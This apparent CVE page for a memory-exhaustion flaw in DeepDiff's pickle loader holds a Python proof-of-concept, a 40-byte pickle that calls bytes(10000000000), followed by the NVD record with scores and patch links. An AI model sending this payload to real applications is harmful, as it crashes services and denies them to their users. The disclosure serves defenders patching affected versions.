CVE-2026-33155

import pickle import struct # Generate a malicious pickle payload # This payload attempts to call bytes(10000000000) # which forces the application to allocate ~10GB of RAM. # # Opcode breakdown: # c GLOBAL 'builtins bytes' # ( MARK start of args # L LONG 10000000000 # t TUPLE build tuple from stack # R REDUCE call builtins.bytes(tuple) # . STOP def generate_poc(): # Size of memory to allocate (10 GB) size = 10000000000 # Construct the pickle stream payload = b'cbuiltins bytes (L%d tR.' % size print(f"Generated PoC payload size: {len(payload)} bytes") print(f"Attempted allocation size: {size} bytes") # In a real scenario, this payload would be sent to the vulnerable application # Example: vulnerable_app.load_pickle(payload) return payload if __name__ == "__main__": data = generate_poc() # WARNING: Do not run 'pickle.loads(data)' locally unless you want to crash your interpreter.

{"cve": {"id": "CVE-2026-33155", "sourceIdentifier": "[email protected]", "published": "2026-03-20T21:17:15.910", "lastModified": "2026-04-14T18:24:04.770", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DeepDiff is a project focused on Deep Difference and search of any Python data. From version 5.0.0 to before version 8.6.2, the pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data. This issue has been patched in version 8.6.2."}, {"lang": "es", "value": "DeepDiff es un proyecto centrado en la Diferencia Profunda y la búsqueda de cualquier dato de Python. Desde la versión 5.0.0 hasta antes de la versión 8.6.2, el des-serializador de pickle _RestrictedUnpickler valida qué clases pueden cargarse, pero no limita los argumentos de sus constructores. Algunos de los tipos en SAFE_TO_IMPORT tienen constructores que asignan memoria proporcional a su entrada (builtins.bytes, builtins.list, builtins.range). Una carga útil de pickle de 40 bytes puede forzar más de 10 GB de memoria, lo que provoca el bloqueo de aplicaciones que cargan objetos delta o llaman a pickle_load con datos no confiables. Este problema ha sido parcheado en la versión 8.6.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qluster:deepdiff:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "8.6.2", "matchCriteriaId": "F297C465-900E-44A9-9697-7E3E001D9314"}]}]}], "references": [{"url": "https://github.com/qlustered/deepdiff/commit/0d07ec21d12b46ef4e489383b363eadc22d990fb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/qlustered/deepdiff/security/advisories/GHSA-54jj-px8x-5w5q", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}